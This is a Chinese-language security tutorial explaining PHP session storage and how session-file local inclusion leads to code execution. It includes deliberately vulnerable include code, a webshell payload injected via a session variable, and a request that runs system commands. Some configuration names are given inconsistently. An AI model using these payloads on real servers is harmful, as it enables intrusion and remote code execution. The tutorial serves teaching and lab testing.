在了解session 包含文件漏洞及绕过姿势的时候,我们应该首先了解一下服务器针对用户会话session的存储与处理是什么过程,只有了解了其存储和使用机制我们才能够合理的去利用它得到我们想要的结果。

0x00:Session 存储

存储方式:

Java 是将用户的session 存入内存中,而 php 则是将session 以文件的形式存储在服务器某个文件中,可以在 php.ini 里设置session 的存储位置 session_save_path 。

可以通过phpinfo 查看 session.save_path 的值
image.png

知道 session 的存储后,总结常见的 php-session 默认存放位置是很有必要的,因为在很多时候服务器都是按照默认设置来运行,这个时候加入我们发现了一个没有安全措施的 session 包含漏洞就可以尝试利用默认的会话存放路径去包含利用。

  1. 默认路径
  2. /var/lib/php/sess_PHPSESSID
  3. /var/lib/php/sessions/sess_PHPSESSID
  4. /tmp/sess_PHPSESSID
  5. /tmp/sessions/sess_PHPSESSID

命名格式:

如果某个服务器存在 session 包含漏洞,要想成功的包含利用的话,首先必须知道的是服务器是如何存放该文件的,只要知道了其命名格式我们才能正确的去包含文件。
session 的文件名格式为 sess_[phpsessid]。而phpsessid 在发送请求的cookie字段中可以看到。
image.png

会话处理:

在了解用户会话的存储下来就需要了解php是如何处理用户的会话信息。php中针对用户会话的处理方式主要取决于服务器在php_ini 或代码中对session.serialize_header 的配置。

session.serialize_header
php 中处理用户会话信息的主要是下面定义的两种方式
session.serialize_header = php 一直都在(默认方式) 它使用 | 分割
session.serialize_header = php_serialize php5.5 之后启用,它使用serialize反序列化格式分割。

下面看一下针对PHP定义的不同方式对用户的session是如何处理的,我们只有知道了服务器是如何存储session 信息的,才能够往session 里面传入我们所精心制作的恶意代码。

session.serialize_header = php
服务器在配置文件或者代码里没有对session 进行配置的化,php默认的会话处理方式就是 session.serialize_header = php 这种模式机制。
下面通过一个简单的用户会话了解session.serialize_header = php 是如何工作的。

  1. ?php
  2. session_start();
  3. $username = $_POST['username'];
  4. $_SESSION["username"] = $username;
  5. ?>

image.png

从图中可以看出默认 session.serialize_header = php 模式只对用户名的内容进行了序列化存储,没有对变量名进行序列化,可以看对服务器对用户会话信息的版序列化存储过程。

session.serialize_header = php-serialize
php 5.5 之后启用这种模式,它使用serialize 反序列化格式进行存储用户的会话信息。一样的通过一个简单的用户会话过程了解 session.serialize_header = php-serialize 是如何工作的。这种模式可以在 php.ini 或者代码中设置。

session.php

  1. <?php
  2. ini_set('session.serialize_handler', 'php_serialize');
  3. session_start();
  4. $username = $_POST['username'];
  5. $_SESSION["username"] = $username;
  6. ?>


image.png

从图中可以看出 session.serialize_handler=php_serialize 处理模式,对整个session 信息包括文件名、文件内容都进行了序列化处理,可以看作是服务器对用户会话信息得完全序列化存储过程。

对比上面得 session.serialize_handler=php_serialize 的两种处理方式,可以看到他们在 session 上处理的差异,既然有差异我们就要合理的去利用这两种模式,假如编写代码不规范的时候处理 session 同时使用了两种模式,那么在攻击者可以利用的情况下,很可能会造成 session 反序列化漏洞。

0x01:Session 利用

介绍了用户会话的存储和处理机制后,我们就可以深入的理解 session 文件包含漏洞。LFI 本地文件包含漏洞主要是介绍本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件、

其中针对 LFI Sessioon 文件的包含或许是现在见的比较多的,简单的理解 session 文件包含漏洞就是在用户可以控制 session 文件中的一部分信息,然后将这部分信息变成我们精心构造的恶意代码,之后去包含含有我们传入恶意代码的这个 session 文件就可以达到攻击效果。

测试代码:
session.php

  1. <?php
  2. session_start();
  3. $username = $_POST['username'];
  4. $_SESSION["username"] = $username;
  5. ?>

include.php

  1. <?php
  2. $file = $_GET['file'];
  3. include($file);
  4. ?>


利用条件:

session 文件路径已知,且其中的内容可控。

利用姿势:

分析 session.php 可以看到 用户会话信息username 的值用户是可控的,因为服务器没有对该部分作出限制。 那么我们就可以传入恶意代码进行攻击利用

Payload:

  1. http://192.33.6.145/FI/session/session.php

POST:

  1. username=<?php eval($_POST[hack]);?>

image.png

可以看到有会话产生,同时我们也写入了我们的恶意代码。
既然已经写入了恶意代码,下来就要利用文件包含漏洞去包含这个代码,执行我们想要的结果。借助上一步产生的sessionID 进行包含利用构造想要的Payload。

  1. Payload
  2. PHPSESSID7qefqgu07pluu38m45isiesq3s
  3. index.php?file=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3s
  4. POST
  5. hack=system('whoami');

从攻击结果可以看到我们的payload和恶意代码确实都已经正常解析和执行。
image.png